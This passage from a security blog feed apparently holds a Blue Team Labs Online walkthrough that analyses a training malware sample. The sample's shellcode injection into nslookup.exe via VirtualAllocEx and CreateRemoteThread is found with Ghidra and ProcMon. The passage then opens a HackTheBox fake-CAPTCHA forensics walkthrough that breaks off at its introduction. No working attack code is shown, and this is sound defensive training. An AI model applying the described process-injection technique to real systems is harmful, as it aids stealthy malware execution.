data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;138&#34; height=&#34;576&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/81836dc136886f966d044371d2e3c3e1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Analyzing the location of the string in the function&lt;/p&gt;&#xA;&lt;p&gt;This is only a lucky guess approach since we don’t know for sure that this is the password we’re looking for just yet. We’ll validate this later in the challenge when we execute the malware, but we can submit the flag to check our work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;32cbeeed937cd8684084cd8ca4262921_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1333px&#34; data-flex-grow=&#34;555&#34; height=&#34;144&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/32cbeeed937cd8684084cd8ca4262921_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-size-of-the-shellcode&#34;&gt;Question 4: What is the size of the shellcode?&#xA;&lt;/h3&gt;&lt;p&gt;Keep scrolling down in &lt;code&gt;FUN_00401220&lt;/code&gt; and we’ll discover a call to &lt;code&gt;VirtualAllocEx&lt;/code&gt; on line 106. According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt;, the &lt;code&gt;VirtualAllocEx&lt;/code&gt; function reserves a memory region within the virtual address space of a target process. Given the context of this investigation, it seems likely this could be used for &lt;em&gt;process injection.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you’re unfamiliar with this technique, I&amp;rsquo;ll include a short description from &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1055/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: T1055 — Process Injection&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3465ff390a93d406d915688aaee74993_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;413px&#34; data-flex-grow=&#34;172&#34; height=&#34;464&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/3465ff390a93d406d915688aaee74993_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying the shellcode size&lt;/p&gt;&#xA;&lt;p&gt;This question feels a little out of order since we’ll learn more about the method of shellcode injection and the victim process in the next couple of questions.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of &lt;strong&gt;Question 4&lt;/strong&gt; we’ll need the decimal value of the memory allocation. Hover over the hex value &lt;code&gt;0x1d9&lt;/code&gt; to see the automatic conversion — which is 473.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;021cb42eb2a1ebcabb3f7bfb5c634009_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/021cb42eb2a1ebcabb3f7bfb5c634009_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-shellcode-injection-involves-three-important-windows-api-what-is-the-name-of-the-api-callused&#34;&gt;Question 5: Shellcode injection involves three important windows API. What is the name of the API Call used?&#xA;&lt;/h3&gt;&lt;p&gt;We got a little ahead of ourselves while investigating &lt;strong&gt;Question 4&lt;/strong&gt; and spoiled the fun. &lt;strong&gt;Question 5&lt;/strong&gt; confirms we’re looking at shellcode injection, and now we need to determine which API call is used to perform it.&lt;/p&gt;&#xA;&lt;p&gt;Let’s pull back and lean on the reference link provided by BTLO for the challenge:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ired.team/offensive-security/code-injection-process-injection/process-injection&#34;  title=&#34;https://www.ired.team/offensive-security/code-injection-process-injection/process-injection&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CreateRemoteThread Shellcode Injection | Red Team Notes&lt;/strong&gt;&#xA;_Injecting shellcode into a local process._www.ired.team&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ired.team/offensive-security/code-injection-process-injection/process-injection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is an excellent reference point to help explain what we’re seeing: injecting shellcode into a remote process using &lt;code&gt;[CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)&lt;/code&gt;. The proof-of-concept payload included in the blog even features something we saw in the last question, creating the &lt;code&gt;VirtualAllocEx&lt;/code&gt; to accommodate the shellcode.&lt;/p&gt;&#xA;&lt;p&gt;Let’s flip back to the sample we’re analyzing in &lt;em&gt;Ghidra&lt;/em&gt;. A few lines further down in the code (line 108), we’ll see a reference to this exact API — &lt;code&gt;CreateRemoteThread&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;de2469d1d6a7fe8a4d6defa56416d8c0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;370px&#34; data-flex-grow=&#34;154&#34; height=&#34;518&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/de2469d1d6a7fe8a4d6defa56416d8c0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying the shellcode injection API call&lt;/p&gt;&#xA;&lt;p&gt;This confirms that the sample we’re analyzing matches the technique discussed in the &lt;em&gt;Red Team Notes&lt;/em&gt; blog.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f56869d2bca70cfaa819fb85d7722037_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1215px&#34; data-flex-grow=&#34;506&#34; height=&#34;158&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/f56869d2bca70cfaa819fb85d7722037_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-victimprocess&#34;&gt;Question 6: What is the name of the victim process?&#xA;&lt;/h3&gt;&lt;p&gt;So, let’s put this all together: in &lt;strong&gt;Question 4&lt;/strong&gt;, we determined &lt;em&gt;where&lt;/em&gt; the injection happens using the &lt;code&gt;VirtualAllocEx&lt;/code&gt; function. In &lt;strong&gt;Question 5&lt;/strong&gt;, we learned &lt;em&gt;how&lt;/em&gt; the injection is performed using &lt;code&gt;CreateRemoteThread&lt;/code&gt;. The last thing we need to determine is &lt;em&gt;what&lt;/em&gt; victim process was injected, right?&lt;/p&gt;&#xA;&lt;p&gt;For this, jump up to line 101 in &lt;em&gt;Ghidra&lt;/em&gt;, where we can see a call to &lt;code&gt;CreateProcessW&lt;/code&gt;. The target process being launched is &lt;code&gt;nslookup.exe&lt;/code&gt;, a trusted Windows binary. Because it blends into legitimate operations, using it can make malicious activity more difficult to detect. Very sneaky!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;50eb255bb78ae5837d98da690a32da10_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;370px&#34; data-flex-grow=&#34;154&#34; height=&#34;518&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/50eb255bb78ae5837d98da690a32da10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying the victim process&lt;/p&gt;&#xA;&lt;p&gt;Importantly, this confirms that &lt;code&gt;nslookup.exe&lt;/code&gt; is the victim process (the one receiving the injected shellcode).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;15bdf2391f1b446d91c3338d00b7e0d4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1381px&#34; data-flex-grow=&#34;575&#34; height=&#34;139&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/15bdf2391f1b446d91c3338d00b7e0d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8-9&#34;&gt;Questions 7, 8, &amp;amp; 9:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-file-created-by-thesample&#34;&gt;What is the file created by the sample&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-message-in-the-createdfile&#34;&gt;What is the message in the created file&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-program-that-the-shellcode-used-to-create-and-write-thisfile&#34;&gt;What is the program that the shellcode used to create and write this file&#xA;&lt;/h4&gt;&lt;p&gt;For our final three tasks, we need to uncover what this malware sample does after execution. To do this, we’re switching gears — moving away from static analysis in &lt;em&gt;Ghidra&lt;/em&gt; to dynamic analysis by actually executing the malware and capturing runtime behavior.&lt;/p&gt;&#xA;&lt;p&gt;We’ll use &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Process Monitor (ProcMon)&lt;/strong&gt;&lt;/a&gt; from the &lt;em&gt;Microsoft Sysinternals&lt;/em&gt; suite. &lt;em&gt;Process Monitor&lt;/em&gt; is &lt;em&gt;“an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity.”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using this utility helps us collect insights into what the malware does upon execution. First, launch &lt;em&gt;ProcMon&lt;/em&gt; and let it run to capture system activity.&lt;/p&gt;&#xA;&lt;p&gt;Next, double-click and execute the &lt;code&gt;analyseme.exe&lt;/code&gt; sample. Immediately, a command prompt window opens with a &lt;code&gt;?&lt;/code&gt;. Remember the sleep timer from &lt;strong&gt;Question 2&lt;/strong&gt;? We need to wait &lt;strong&gt;3 minutes&lt;/strong&gt; for the malware to continue…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a5006166b10073d2c6fdc2c62289fb5f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;428px&#34; data-flex-grow=&#34;178&#34; height=&#34;448&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/a5006166b10073d2c6fdc2c62289fb5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Executing the malware for dynamic analysis&lt;/p&gt;&#xA;&lt;p&gt;Once the 3 minutes have passed, we’re prompted for a password. Now we can finally validate the password string we identified in &lt;strong&gt;Question 3&lt;/strong&gt;. Once the password is accepted, the window closes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;67e4730e7c1d25543230a5cf4f6a8ee1_MD5.gif&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;434px&#34; data-flex-grow=&#34;181&#34; height=&#34;616&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/67e4730e7c1d25543230a5cf4f6a8ee1_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/67e4730e7c1d25543230a5cf4f6a8ee1_MD5_hu_1e00afb46bb4d296.gif 800w, https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/67e4730e7c1d25543230a5cf4f6a8ee1_MD5.gif 1116w&#34; width=&#34;1116&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inputting the password string into the malware&lt;/p&gt;&#xA;&lt;p&gt;But what really happened? Let’s turn to &lt;em&gt;ProcMon&lt;/em&gt; to see behind the scenes. In the main window, press the Process Tree view button, and search for the parent process &lt;code&gt;analyseme.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;890bd3dfffebb6ad8663b1d2b3c4be54_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/890bd3dfffebb6ad8663b1d2b3c4be54_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ProcMon: Identifying processes spawned by the malware&lt;/p&gt;&#xA;&lt;p&gt;We’ll see that the malicious binary spawned a few child processes — including &lt;code&gt;powershell.exe&lt;/code&gt;. Clicking the &lt;code&gt;powershell.exe&lt;/code&gt; entry reveals an encoded (&lt;code&gt;-enc&lt;/code&gt;) command line. Now we need to decode this command to understand what happened.&lt;/p&gt;&#xA;&lt;p&gt;To decode the PowerShell command line, flip over to &lt;strong&gt;CyberChef&lt;/strong&gt;. I used the version built into &lt;em&gt;Flare-VM&lt;/em&gt;, but the online version works just as well.&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;em&gt;CyberChef&lt;/em&gt; is open, paste the encoded command into the input field. Then, from the operations column on the left, add the &lt;em&gt;From Base64&lt;/em&gt; and &lt;em&gt;Remove null bytes&lt;/em&gt; operations to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c2dc4e52cc2bffb5f24a303940edeb75_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;494px&#34; data-flex-grow=&#34;206&#34; height=&#34;388&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/c2dc4e52cc2bffb5f24a303940edeb75_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the PowerShell command line&lt;/p&gt;&#xA;&lt;p&gt;Once the operation completes, the output window reveals the decoded contents of the command — giving us everything we need to answer the final three questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The shellcode executes &lt;code&gt;powershell.exe&lt;/code&gt;, via the &lt;code&gt;New-Item&lt;/code&gt; cmdlet to create a new file: &lt;code&gt;btlo.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The file is created in the &lt;code&gt;C:\Windows\Temp&lt;/code&gt; directory&lt;/li&gt;&#xA;&lt;li&gt;The message written to the file is: “&lt;em&gt;Welcome to BTLO!&lt;/em&gt;”&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d7b9ec3ef59987cc4e37b133fc6878aa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1422px&#34; data-flex-grow=&#34;592&#34; height=&#34;135&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/d7b9ec3ef59987cc4e37b133fc6878aa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ac79a04083185606115ca992fa7a03da_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/ac79a04083185606115ca992fa7a03da_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3eb6562717516e194c7679da6c61e34b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/3eb6562717516e194c7679da6c61e34b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;cb4dd4b65cf75bd09d352a1008c9814b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;305px&#34; data-flex-grow=&#34;127&#34; height=&#34;535&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/cb4dd4b65cf75bd09d352a1008c9814b_MD5.png&#34; width=&#34;682&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it, folks! After performing initial file identification with &lt;strong&gt;PEiD&lt;/strong&gt;, we dove headfirst into &lt;strong&gt;Ghidra&lt;/strong&gt; to run some static analysis and uncover the sleep time, password string, shellcode size, and the process injection technique used by this malware. Once we confirmed it was a shellcode injection, we identified the victim process. From there, we pivoted to dynamic analysis — executing the malware in our analysis environment and capturing system activity with &lt;strong&gt;ProcMon&lt;/strong&gt;. That led us to a PowerShell command that created a file and wrote a message, giving us the final answers we needed.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another awesome challenge! Reverse engineering and static malware analysis are weaker spots in my skillset, so I like to keep these kinds of challenges in the rotation to continuously improve. There was some stumbling along the way, but leveraging &lt;em&gt;Ghidra&lt;/em&gt; to analyze and decompile malware code is incredibly helpful for building foundational knowledge. While online sandboxes like &lt;em&gt;ANY.RUN&lt;/em&gt; are popular for dynamic analysis, it’s always good to learn offline techniques like using &lt;em&gt;ProcMon&lt;/em&gt; to dig deeper.&lt;/p&gt;&#xA;&lt;p&gt;All in all, this was a valuable experience and a fun challenge for the week. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ghidra:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/NationalSecurityAgency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/NationalSecurityAgency/ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Sleep Function:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Sleep function (synchapi.h) — Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — VirtualAllocEx:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK: T1055 — Process Injection:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1055/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Process Injection, Technique T1055 — Enterprise | MITRE ATT&amp;amp;CK®&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn-CreateRemoteThread:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Red Team Notes — “CreateRemoteThread Shellcode Injection”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.ired.team/offensive-security/code-injection-process-injection/process-injection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.ired.team/offensive-security/code-injection-process-injection/process-injection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysinternals — Process Monitor:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — Pikaptcha Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/</link>
            <pubDate>Sun, 10 Aug 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/31cfedeb43227d42634f7513d90ab7bd_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — Pikaptcha Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hacktheboxpikaptcha-sherlock-walkthrough&#34;&gt;HackTheBox — Pikaptcha Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-fake-captcha-attack-using-registry-explorer-and-networkminer&#34;&gt;Investigating a Fake CAPTCHA Attack Using Registry Explorer and NetworkMiner.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;31cfedeb43227d42634f7513d90ab7bd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/31cfedeb43227d42634f7513d90ab7bd_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Pikaptcha&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Pikaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Pikaptcha&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Pikaptcha Sherlock&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. Let’s check out this week’s scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, our job is to analyze the provided artifacts to learn about the suspected attack. We’ll need to uncover how the victim was compromised and determine what happened. By combining our findings from the endpoint and the network, we’ll be able to figure out exactly what happened.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is a fantastic introduction to endpoint registry analysis, network traffic analysis, and 